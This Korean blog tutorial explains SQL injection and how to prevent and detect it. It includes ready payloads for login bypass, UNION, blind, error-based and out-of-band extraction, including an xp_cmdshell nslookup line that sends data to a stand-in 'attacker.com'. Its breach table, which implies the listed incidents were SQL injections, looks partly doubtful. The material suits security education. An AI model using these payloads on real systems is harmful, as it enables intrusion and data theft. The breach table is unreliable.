&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;16:1-16:17;530-546&quot; data-ke-size=&quot;size26&quot;&gt;1. SQL 인젝션이란?&lt;/h2&gt;
&lt;p data-sourcepos=&quot;18:1-18:61;548-608&quot; data-ke-size=&quot;size16&quot;&gt;사용자 입력값이 SQL 쿼리의 일부로 그대로 삽입되어, 공격자가 개발자가 의도하지 않은 쿼리를 실행시킬 수 있는 취약점이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;22:1-22:13;615-627&quot; data-ke-size=&quot;size26&quot;&gt;2. 취약점 개요&lt;/h2&gt;
&lt;div data-sourcepos=&quot;24:1-30:41;629-894&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 항목 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 내용 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE 번호&lt;/td&gt;
&lt;td&gt;CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OWASP&lt;/td&gt;
&lt;td&gt;A05:2025 - Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;위험도&lt;/td&gt;
&lt;td&gt;Critical (데이터 유출, 인증 우회, DB 전체 장악 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;영향 범위&lt;/td&gt;
&lt;td&gt;DB를 사용하는 모든 웹 애플리케이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;근본 원인&lt;/td&gt;
&lt;td&gt;사용자 입력값을 검증 없이 SQL 쿼리에 직접 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;32:1-45:53;896-1661&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;32:3-33:298;898-1215&quot; data-ke-size=&quot;size16&quot;&gt;OWASP Top 10이란? Open Web Application Security Project(OWASP) 재단이 주기적으로 발표하는 웹 애플리케이션 보안 위협 상위 10개 목록. 실제 침해 사례, 취약점 데이터를 기반으로 선정되며 보안 업계에서 사실상의 표준 기준으로 활용된다. 현재 최신 버전은 2025년 말 발표된 OWASP Top 10:2025이며, Injection은 2021년 A03에서 2025년 A05로 내려갔다. A05:2025 Injection 카테고리 안에 SQL 인젝션, Command 인젝션, LDAP 인젝션 등이 포함된다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;35:3-35:31;1220-1248&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OWASP Top 10:2025 전체 목록:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;36:3-45:53;1251-1661&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;36:3-36:41;1251-1289&quot;&gt;A01: Broken Access Control (SSRF 통합)&lt;/li&gt;
&lt;li data-sourcepos=&quot;37:3-37:46;1292-1335&quot;&gt;A02: Security Misconfiguration&amp;nbsp;&lt;/li&gt;
&lt;li data-sourcepos=&quot;38:3-38:46;1338-1381&quot;&gt;A03: Software Supply Chain Failures&lt;/li&gt;
&lt;li data-sourcepos=&quot;39:3-39:35;1384-1416&quot;&gt;A04: Cryptographic Failures&amp;nbsp;&lt;/li&gt;
&lt;li data-sourcepos=&quot;40:3-40:41;1419-1457&quot;&gt;A05: &lt;b&gt;Injection &amp;larr; 이번 글&lt;/b&gt;&amp;nbsp; (3위&amp;rarr;5위)&lt;/li&gt;
&lt;li data-sourcepos=&quot;41:3-41:25;1460-1482&quot;&gt;A06: Insecure Design&lt;/li&gt;
&lt;li data-sourcepos=&quot;42:3-42:33;1485-1515&quot;&gt;A07: Authentication Failures&lt;/li&gt;
&lt;li data-sourcepos=&quot;43:3-43:45;1518-1560&quot;&gt;A08: Software or Data Integrity Failures&lt;/li&gt;
&lt;li data-sourcepos=&quot;44:3-44:48;1563-1608&quot;&gt;A09: Security Logging and Alerting Failures&lt;/li&gt;
&lt;li data-sourcepos=&quot;45:3-45:53;1611-1661&quot;&gt;A10: Mishandling of Exceptional Conditions&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;49:1-49:9;1668-1676&quot; data-ke-size=&quot;size26&quot;&gt;3. 원리&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;51:1-51:16;1678-1693&quot; data-ke-size=&quot;size23&quot;&gt;정상적인 로그인 쿼리&lt;/h3&gt;
&lt;div data-sourcepos=&quot;53:1-56:4;1695-1770&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;SELECT * FROM users
WHERE username = '입력값' AND password = '입력값';&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;58:1-58:30;1772-1801&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;58:1-58:30;1772-1801&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 admin / 1234 를 입력하면:&lt;/p&gt;
&lt;p data-sourcepos=&quot;58:1-58:30;1772-1801&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;58:1-58:30;1772-1801&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;sql&lt;/span&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;60:1-63:4;1803-1881&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;SELECT * FROM users
WHERE username = 'admin' AND password = '1234';&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;65:1-65:25;1883-1907&quot; data-ke-size=&quot;size16&quot;&gt;정상적으로 DB에서 해당 사용자를 조회한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;69:1-69:17;1914-1930&quot; data-ke-size=&quot;size23&quot;&gt;SQL 인젝션 공격 시&lt;/h3&gt;
&lt;p data-sourcepos=&quot;71:1-71:35;1932-1966&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 username에 admin' -- 를 입력하면:&lt;/p&gt;
&lt;p data-sourcepos=&quot;71:1-71:35;1932-1966&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;71:1-71:35;1932-1966&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;sql&lt;/span&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;73:1-76:4;1968-2050&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;SELECT * FROM users
WHERE username = 'admin' --' AND password = '1234';&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-sourcepos=&quot;78:1-82:4;2052-2145&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;-- 은 SQL 주석 처리 기호
&amp;rarr; 그 뒤의 AND password = '1234' 부분이 전부 무시됨
&amp;rarr; 비밀번호 없이 admin 계정으로 로그인 성공&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;86:1-86:18;2152-2169&quot; data-ke-size=&quot;size23&quot;&gt;왜 이런 일이 발생하냐면&lt;/h3&gt;
&lt;div data-sourcepos=&quot;88:1-106:4;2171-2653&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;취약한 코드 (PHP 예시):
$query = &quot;SELECT * FROM users
          WHERE username = '&quot; . $_POST['username'] . &quot;'
          AND password = '&quot; . $_POST['password'] . &quot;'&quot;;

&amp;rarr; 사용자 입력값을 그냥 문자열로 붙여버림
&amp;rarr; 입력값 안에 SQL 특수문자(', --, ;)가 있으면
  쿼리 구조 자체가 바뀌어버림

안전한 코드 (Prepared Statement):
$stmt = $pdo-&amp;gt;prepare(&quot;SELECT * FROM users
                        WHERE username = ? AND password = ?&quot;);
$stmt-&amp;gt;execute([$username, $password]);

&amp;rarr; 입력값을 쿼리와 분리해서 처리
&amp;rarr; 어떤 값을 넣어도 그냥 &quot;데이터&quot;로만 취급
&amp;rarr; SQL 구조를 바꿀 수 없음&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;110:1-110:12;2660-2671&quot; data-ke-size=&quot;size26&quot;&gt;4. 공격 유형&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;112:1-112:39;2673-2711&quot; data-ke-size=&quot;size23&quot;&gt;4-1. 인증 우회 (Authentication Bypass)&lt;/h3&gt;
&lt;div data-sourcepos=&quot;114:1-119:4;2713-2782&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;ada&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;-- username 입력값
admin' --
admin' OR '1'='1' --
' OR 1=1 --&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;121:1-121:23;2784-2806&quot; data-ke-size=&quot;size16&quot;&gt;로그인 없이 관리자 계정으로 접근 가능.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;125:1-125:30;2813-2842&quot; data-ke-size=&quot;size23&quot;&gt;4-2. UNION 기반 공격 (데이터 추출)&lt;/h3&gt;
&lt;div data-sourcepos=&quot;127:1-130:4;2844-2913&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;-- 검색창 입력값
' UNION SELECT username, password FROM users --&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-sourcepos=&quot;132:1-138:4;2915-3126&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;원래 쿼리: SELECT name, price FROM products WHERE id = '입력값'
변조 후:   SELECT name, price FROM products WHERE id = ''
           UNION SELECT username, password FROM users --'

&amp;rarr; 상품 목록 대신 users 테이블의 계정 정보가 출력됨&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;142:1-142:33;3133-3165&quot; data-ke-size=&quot;size23&quot;&gt;4-3. Blind SQL 인젝션 (응답 없을 때)&lt;/h3&gt;
&lt;p data-sourcepos=&quot;144:1-144:38;3167-3204&quot; data-ke-size=&quot;size16&quot;&gt;에러 메시지나 데이터가 화면에 안 나오는 경우에도 공격이 가능하다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;146:1-146:16;3206-3221&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Boolean 기반:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;147:1-151:4;3222-3319&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;lsl&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;' AND 1=1 --   &amp;rarr; 정상 응답 (조건이 참)
' AND 1=2 --   &amp;rarr; 빈 응답 (조건이 거짓)
&amp;rarr; 응답 차이로 DB 정보를 한 글자씩 추출&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;153:1-153:13;3321-3333&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;153:1-153:13;3321-3333&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Time 기반:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;154:1-158:4;3334-3419&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;ada&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;'; IF (1=1) WAITFOR DELAY '0:0:5' --
&amp;rarr; 5초 지연이 발생하면 조건이 참
&amp;rarr; 지연 여부로 DB 정보 추출&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;162:1-162:21;3426-3446&quot; data-ke-size=&quot;size23&quot;&gt;4-4. Error 기반 공격&lt;/h3&gt;
&lt;div data-sourcepos=&quot;164:1-167:4;3448-3543&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
&amp;rarr; 에러 메시지 안에 DB 버전 정보가 출력됨&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;169:1-169:11;3545-3555&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;상세 설명:&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-sourcepos=&quot;171:1-179:72;3557-3761&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;171:3-172:41;3559-3610&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XML&lt;/b&gt;이란? 데이터를 구조화해서 저장하는 형식. 태그로 데이터를 감싸는 방식이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;173:3-178:6;3613-3689&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;xml&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;xml&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;&amp;lt;user&amp;gt;
    &amp;lt;name&amp;gt;admin&amp;lt;/name&amp;gt;
    &amp;lt;age&amp;gt;30&amp;lt;/age&amp;gt;
&amp;lt;/user&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;179:3-179:72;3692-3761&quot; data-ke-size=&quot;size16&quot;&gt;HTML과 비슷해 보이지만 HTML은 화면에 어떻게 보여줄지(표시용), XML은 데이터를 어떻게 저장할지(저장/전달용)이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;181:1-186:97;3763-3975&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;181:3-182:50;3765-3826&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XPath란?&lt;/b&gt; XML 안에서 원하는 데이터 위치를 찾는 경로 표현식. 파일 경로랑 비슷한 개념이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;183:3-185:6;3829-3878&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;/user/name  &amp;rarr; user 태그 안의 name 태그를 가리킴&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;186:3-186:97;3881-3975&quot; data-ke-size=&quot;size16&quot;&gt;EXTRACTVALUE(xml데이터, xpath경로) 형식으로 XML에서 값을 꺼내는 함수인데, XPath가 유효하지 않으면 에러 메시지에 해당 값을 포함해서 출력한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-sourcepos=&quot;188:1-188:13;3977-3989&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;188:1-188:13;3977-3989&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;각 부분 분해:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;190:1-214:4;3991-4463&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
----------------------------------------------------------------------
쿼리 설명

'(작은따옴표)
&amp;rarr; 쿼리 구조를 깨는 작은따옴표

EXTRACTVALUE(1, ...)
&amp;rarr; 첫 번째 인자 1 = XML 자리 (의미없음, 자리채우기용)
&amp;rarr; 두 번째 인자 = XPath 경로 자리

CONCAT(0x7e, (SELECT version()))
&amp;rarr; CONCAT = 문자열을 합치는 함수
&amp;rarr; 0x7e = 물결표(~)의 16진수 코드
&amp;rarr; SELECT version() = DB 버전 반환 (예: 8.0.32)
&amp;rarr; 합치면: &quot;~8.0.32&quot;

EXTRACTVALUE(1, &quot;~8.0.32&quot;)
&amp;rarr; ~로 시작하면 유효한 XPath 형식이 아님
&amp;rarr; MySQL이 에러 발생
&amp;rarr; 에러 메시지: XPATH syntax error: '~8.0.32'
&amp;rarr; DB 버전 정보가 에러 메시지 안에 그대로 노출됨

--
&amp;rarr; 이후 SQL 코드 주석 처리&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;216:1-216:31;4465-4495&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;216:1-216:31;4465-4495&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;version() 말고 다른 정보도 추출 가능:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;218:1-227:4;4497-4762&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
&amp;rarr; 현재 DB 이름 노출

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --
&amp;rarr; DB 계정명 노출

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1))) --
&amp;rarr; 테이블 이름 노출&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;231:1-231:24;4769-4792&quot; data-ke-size=&quot;size23&quot;&gt;4-5. Out-of-Band 공격&lt;/h3&gt;
&lt;p data-sourcepos=&quot;233:1-233:111;4794-4904&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 SQL 인젝션은 응답에 데이터가 담겨 오지만, Out-of-Band는 응답에 아무것도 없고 DB가 공격자 서버로 직접 데이터를 보낸다. 응답이 완전히 막혀있어도 사용 가능한 공격 방식이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;235:1-239:4;4906-5014&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;ada&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;'; EXEC xp_cmdshell('nslookup 공격자도메인') --
&amp;rarr; DB 서버가 공격자 도메인으로 DNS 요청을 보냄
&amp;rarr; DNS 요청에 데이터를 실어서 외부로 유출&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;241:1-242:51;5016-5079&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;241:3-242:51;5018-5079&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;EXEC&lt;/b&gt;란? EXECUTE의 줄임말. SQL Server에서 명령어나 프로시저를 실행하는 명령어다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;244:1-250:52;5081-5338&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;244:3-245:76;5083-5177&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;xp_cmdshell&lt;/b&gt;이란? MS SQL Server에 내장된 확장 프로시저. DB 안에서 윈도우 OS 명령어(CMD)를 직접 실행할 수 있게 해주는 기능이다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;246:3-249:6;5180-5286&quot;&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;hsp&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;EXEC xp_cmdshell('whoami')    &amp;rarr; DB 서버 계정명 출력
EXEC xp_cmdshell('dir C:')  &amp;rarr; C드라이브 파일 목록 출력&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;250:3-250:52;5289-5338&quot; data-ke-size=&quot;size16&quot;&gt;DB가 뚫리면 xp_cmdshell로 OS까지 직접 조작 가능하기 때문에 매우 위험하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;252:1-257:100;5340-5577&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;252:3-253:53;5342-5410&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;nslookup&lt;/b&gt;이란? Name Server Lookup의 줄임말. 도메인 이름을 IP 주소로 변환하는 명령어다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;254:3-256:6;5413-5477&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;nslookup google.com &amp;rarr; google.com의 IP 주소를 DNS 서버에 물어봄&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;257:3-257:100;5480-5577&quot; data-ke-size=&quot;size16&quot;&gt;공격자가 자신의 DNS 서버를 운영하면, DB 서버가 nslookup을 실행하는 순간 공격자 DNS 서버에 조회 요청이 들어온다. 이 요청에 DB 정보를 실어 보낼 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-sourcepos=&quot;259:1-259:26;5579-5604&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데이터를 DNS에 실어서 보내는 방식:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;261:1-270:4;5606-5888&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;sql&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;'; EXEC xp_cmdshell('nslookup ' + (SELECT version()) + '.attacker.com') --

&amp;rarr; SELECT version() = &quot;8.0.32&quot;
&amp;rarr; nslookup 8.0.32.attacker.com 실행
&amp;rarr; 공격자 DNS 서버 로그:
  &quot;8.0.32.attacker.com 을 192.168.1.10이 조회했다&quot;
&amp;rarr; DB 버전(8.0.32)과 DB 서버 IP(192.168.1.10) 획득
&amp;rarr; 웹사이트 응답을 보지 않고도 정보 유출 성공&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;272:1-272:16;5890-5905&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;272:1-272:16;5890-5905&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;탐지가 어려운 이유:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;273:1-277:4;5906-6008&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;웹 서버 응답 &amp;rarr; 정상 페이지 (아무것도 없음)
데이터 유출  &amp;rarr; DNS 또는 HTTP로 외부 서버에 직접 전송
&amp;rarr; 방화벽이 내부 DNS 쿼리를 막지 않으면 탐지 어려움&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;281:1-281:15;6015-6029&quot; data-ke-size=&quot;size26&quot;&gt;5. 실제 피해 사례&lt;/h2&gt;
&lt;div data-sourcepos=&quot;283:1-289:48;6031-6253&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 연도 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 사건 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 피해 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2011&lt;/td&gt;
&lt;td&gt;Sony Pictures 해킹&lt;/td&gt;
&lt;td&gt;1억 명 개인정보 유출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2014&lt;/td&gt;
&lt;td&gt;eBay 해킹&lt;/td&gt;
&lt;td&gt;1억 4500만 계정 유출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2016&lt;/td&gt;
&lt;td&gt;야후 해킹&lt;/td&gt;
&lt;td&gt;5억 계정 유출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;국내 쇼핑몰 다수&lt;/td&gt;
&lt;td&gt;카드정보, 개인정보 유출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;Ticketmaster 해킹&lt;/td&gt;
&lt;td&gt;5억 6000만 명 개인정보 유출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;291:1-291:92;6255-6346&quot; data-ke-size=&quot;size16&quot;&gt;&quot;오래된 취약점인데 왜 아직도?&quot; 라는 질문의 답이 여기 있다. 레거시 시스템, 외주 개발, 빠른 출시 압박으로 기본적인 입력값 검증이 빠지는 경우가 여전히 많다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;295:1-295:29;6353-6381&quot; data-ke-size=&quot;size26&quot;&gt;6. 어디서 흔적이 남는가 (로그 소스 매핑)&lt;/h2&gt;
&lt;div data-sourcepos=&quot;297:1-303:35;6383-6640&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 로그 소스 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 탐지 가능한 흔적 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;웹 서버 로그 (Apache, Nginx)&lt;/td&gt;
&lt;td&gt;SQL 특수문자 포함 URL/파라미터, 비정상 응답코드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAF 로그&lt;/td&gt;
&lt;td&gt;SQL 인젝션 패턴 매칭, 차단 이벤트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DB 로그 (Slow Query, Error Log)&lt;/td&gt;
&lt;td&gt;비정상 쿼리, 에러 발생, 대용량 데이터 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDS/IPS 로그&lt;/td&gt;
&lt;td&gt;SQL 인젝션 시그니처 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;애플리케이션 로그&lt;/td&gt;
&lt;td&gt;DB 연결 에러, 쿼리 실패 로그&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;305:1-306:114;6642-6775&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;305:3-306:114;6644-6775&quot; data-ke-size=&quot;size16&quot;&gt;⚠️&lt;b&gt; 탐지의 핵심 어려움&lt;/b&gt; Blind SQL 인젝션이나 Time 기반 공격은 응답이 정상처럼 보여서 웹 서버 로그만으로는 탐지가 어렵다. WAF가 없거나 DB 로그가 수집되지 않는 환경에서는 탐지 자체가 불가능한 경우도 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
